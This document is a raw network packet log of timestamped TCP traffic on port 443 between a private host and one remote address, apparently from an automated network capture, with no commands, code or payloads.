Oct 7, 2024 06:44:28.722392082 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.722539902 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.722552061 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.257735014 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.258955956 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.258977890 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.259480000 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.259485960 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.317734003 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.318598032 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.318617105 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.319063902 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.319070101 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.319616079 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.319910049 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.319950104 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.320225000 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.320230007 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.361835003 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.361908913 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.362112999 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.362596035 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.362612009 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.362642050 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.362648010 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.365566969 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.365606070 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.365677118 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.365844011 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.365856886 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.367990017 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.368324995 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.368345022 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.368727922 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.368735075 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.399684906 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.400336981 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.400350094 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.400919914 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.400926113 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.418354034 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.418425083 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.418683052 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.418855906 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.418873072 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.418883085 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.418889046 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.419059992 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.419130087 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.419172049 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.419207096 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.419224977 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.419234037 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.419239998 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.421938896 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.421964884 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.421981096 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.421988010 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.422050953 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.422069073 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.422192097 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.422193050 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.422204971 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.422216892 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.470004082 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.470072985 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.470177889 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.470426083 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.470453024 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.470484972 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.470491886 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.473402977 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.473450899 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.473536968 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.473704100 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.473714113 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.506084919 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.506145954 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.506298065 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.506719112 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.506731033 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.506743908 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.506748915 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.509737968 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.509763956 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:29.509857893 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.510050058 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:29.510061026 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.001890898 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.002682924 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.002712965 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.003182888 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.003190994 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.084619045 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.084630013 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.085216999 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.085228920 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.085264921 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.085272074 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.085747004 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.085747004 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.085752964 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.085763931 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.102292061 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.102359056 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.102421045 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.102647066 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.102670908 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.102683067 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.102689981 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.105751991 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.105793953 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.105897903 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.106076956 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.106089115 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.133296967 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.133946896 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.133979082 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.134397984 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.134406090 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.142694950 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.143271923 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.143290043 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.143698931 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.143703938 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.187736034 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.187812090 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.187875032 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.188071966 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.188071966 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.188086987 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.188096046 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.189483881 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.189543962 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.189666986 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.189855099 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.189855099 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.189865112 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.189867973 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.192184925 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.192243099 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.192311049 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.192434072 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.192465067 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.192526102 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.192650080 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.192667007 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.192667961 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.192673922 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.236362934 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.236437082 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.236500978 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.236700058 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.236721992 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.236751080 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.236757040 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.239722013 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.239762068 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.239856005 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.240025997 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.240041018 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.242749929 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.242830992 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.242882013 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.242940903 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.242954969 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.242964983 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.242976904 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.244864941 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.244914055 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.244988918 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.245136976 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.245151997 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.793440104 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.794295073 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.794337988 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.794887066 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.794893980 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.826567888 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.827157974 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.827178001 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.827603102 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.827609062 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.844048023 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.844609022 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.844626904 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.845251083 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.845258951 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.879678011 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.880491972 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.880531073 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.880911112 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.880918980 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.885056019 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.885418892 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.885433912 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.885792017 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.885796070 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.900325060 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.900346041 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.900404930 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.900440931 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.900511026 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.900738955 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.900785923 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.900835037 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.900851011 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.903654099 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.903683901 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.903779984 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.903934002 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.903943062 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.925337076 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.925399065 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.925463915 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.925663948 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.925685883 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.925709009 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.925719976 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.928450108 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.928478956 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.928556919 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.928714037 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.928730965 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.944175959 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.944339037 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.944405079 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.944551945 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.944567919 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.944578886 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.944585085 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.946778059 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.946813107 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.946896076 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.947036028 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.947061062 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.978468895 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.978492975 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.978579044 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.978601933 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.978637934 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.978643894 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.978679895 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.978715897 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.978876114 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.978888035 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.978899002 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.978904009 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.981702089 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.981729031 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.981806040 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.981988907 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.982001066 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.985625029 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.985645056 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.985698938 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.985704899 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.985752106 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.985826969 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.985841990 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.985851049 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.985856056 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.987684965 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.987709999 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:30.987791061 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.987905025 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:30.987925053 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.542090893 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.542740107 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.542758942 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.543215036 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.543220043 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.565470934 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.566010952 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.566026926 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.566550016 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.566555023 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.615250111 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.616174936 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.616199970 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.616569042 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.616575956 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.624329090 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.624795914 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.624824047 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.625368118 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.625380993 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.628592014 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.628945112 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.628962040 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.629398108 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.629405975 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.641033888 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.641058922 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.641128063 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.641134977 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.641282082 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.641459942 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.641479969 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.641494989 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.641499996 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.644296885 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.644332886 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.644490957 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.644603968 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.644620895 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.663681984 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.663736105 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.663969994 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.663969994 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.664743900 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.664757013 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.666322947 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.666352987 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.666430950 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.666543007 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.666555882 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.713557005 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.713660002 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.713722944 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.713967085 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.713989019 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.714000940 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.714008093 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.717096090 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.717140913 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.717231989 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.717402935 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.717413902 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.723228931 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.723706961 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.723819017 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.723819971 CEST	49810	443	192.168.2.5	13.107.246.45
